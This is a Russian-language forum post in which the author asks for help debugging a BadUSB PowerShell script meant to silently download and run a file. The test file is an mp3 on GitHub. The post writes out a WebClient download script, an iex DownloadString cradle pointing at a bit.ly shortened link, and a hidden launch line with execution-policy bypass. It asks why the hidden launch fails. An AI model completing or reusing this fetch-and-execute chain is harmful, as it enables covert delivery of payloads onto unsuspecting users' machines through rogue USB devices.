Нужна помощь с командой PowerShell

10.06.2023, 00:18

MisterX

Новичок

Регистрация: 09.12.2005

Сообщений: 1

С нами: 10746880

Репутация: 0

Всем доброго времени суток товарищи. Нужна ваша помощь в завершении скрипта.
Сегодня писал скрипт для BadUSB, точнее сказать его кости - по факту нужна тихое и невидимое скачивание и установка(скажу сразу что не создавал какой либо Payload, а всего лишь тест на файле mp3)
Файл лежит на GitHub, от туда взял его ссыль на RAF и добавил в этот код для скачивания и сохранки на диск

Код:

Код:

$download_url = "http://raw.githubusercontent.com/prostixciber/probnik/main/Eminem%20%E2%80%93%20Mockingbird.mp3"
$local_path = "C:\Users\Public\Downloads\Eminem%20%E2%80%93%20Mockingbird.mp3"
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($download_url, $local_path)

cd C:\Users\Public\Downloads
.\Eminem%20%E2%80%93%20Mockingbird.mp3

Далее конечно прогнал через pastebin и bitly для уменьшения ссылок и в итоге для PowerShell получилась команда

Код:

Код:

iex(New-Object Net.WebClient).DownloadString("https://bit.ly/43u3LT2")

Далее мне нужно что бы PowerShell запустил эту строку через "Выполнить" в скрытом режиме - вот что пишу

Код:

Код:

powershell -ep bypass -nop -w 1 iex(New-Object Net.WebClient).DownloadString("https://bit.ly/43u3LT2")

Видно что Shell запустился и тут же закрылся(это норма для скрытого режима), но файл не скачивается и само собой не запускается.
Подскажите что не так в команде? Видел и пробовал другие типа Hiden - не решило проблему.

Код:

Код:

iex(New-Object Net.WebClient).DownloadString("https://bit.ly/43u3LT2")

- сама команда работает, то есть и скачивает и делает запуск mp3 чере Shell, но при попытке запустить команду

Код:

Код:

powershell -ep bypass -nop -w 1 iex(New-Object Net.WebClient).DownloadString("https://bit.ly/43u3LT2")

через "Выполнить" ничего не выходит. Очень бы хотелось увидеть подсказки или наводящие мысли на решение этой задачи)
Заранее спасибо.

𝕏 Twitter Reddit Telegram Копировать ссылку